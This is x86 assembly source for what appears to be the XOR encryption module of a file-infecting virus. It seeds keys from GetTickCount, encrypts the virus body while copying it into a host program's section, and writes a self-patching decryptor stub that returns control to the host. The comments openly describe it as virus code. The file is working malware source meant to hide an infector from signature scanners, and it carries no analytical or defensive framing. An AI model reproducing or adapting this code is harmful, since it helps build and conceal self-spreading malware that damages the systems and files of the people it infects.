;%%%6 0 XORC Use XOR encryption

;###GetTickCount

;return virus size+decryptor

get_virus_size:
	mov eax, ((virus_size+3)/4*4)+(ofs __decrypt_end-ofs __decrypt)
	ret

;simple xor encryption

encrypt:
	pushad

;calculate our 2 encryption values (EDX EBX)

	call delta
	call [ebp+_GetTickCount]
	xor eax,esp
	mov ebx,eax
	call [ebp+_GetTickCount]
	mov edx,eax

;align virus size to dword boundary (coz we encrypt dwords)

	add ecx,3
	and ecx,not 3

;increase entrypoint by virus size(coz decryptor is after virus body)

	mov [esp.Pushad_eax],ecx

	push ecx
	push ebx
	push edx

;copy/encrypt virus body to host section

	shr ecx,2
	push ecx
  @@crypt:
	lodsd
	xor eax,ebx
	add ebx,edx
	stosd
	loop @@crypt

	call @@skip_decrypt_routine

  __decrypt equ $
	call @@delta
  @@delta:
  	pop esi
  	mov ebx,12345678h
  key_value1 equ $-4
  	mov ecx,12345678h
  csize equ $-4
  	mov edx,12345678h
  key_value2 equ $-4
  @@decryptloop:
  	xor [esi+12345678h],ebx
  enc_ptr equ $-4
  	add ebx,edx
  	lodsd
  	loop @@decryptloop
	db 0e9h
	dd 12345678h
  __decrypt_end equ $

  @@skip_decrypt_routine:
  	pop esi

;fix values for decryption

	pop dwo [esi+(ofs csize-ofs __decrypt)]
	pop dwo [esi+(ofs key_value2-ofs __decrypt)]
	pop dwo [esi+(ofs key_value1-ofs __decrypt)]
	pop eax
	add eax,ofs @@delta-ofs __decrypt
	neg eax
	mov [esi+(ofs enc_ptr-ofs __decrypt)],eax
	sub eax,ofs __decrypt_end-ofs @@delta
	mov [esi+(ofs __decrypt_end-ofs __decrypt)-4],eax

;copy decryption routine after crypted virus body

	mov ecx,(ofs __decrypt_end-ofs __decrypt)
	rep movsb

	popad
	ret

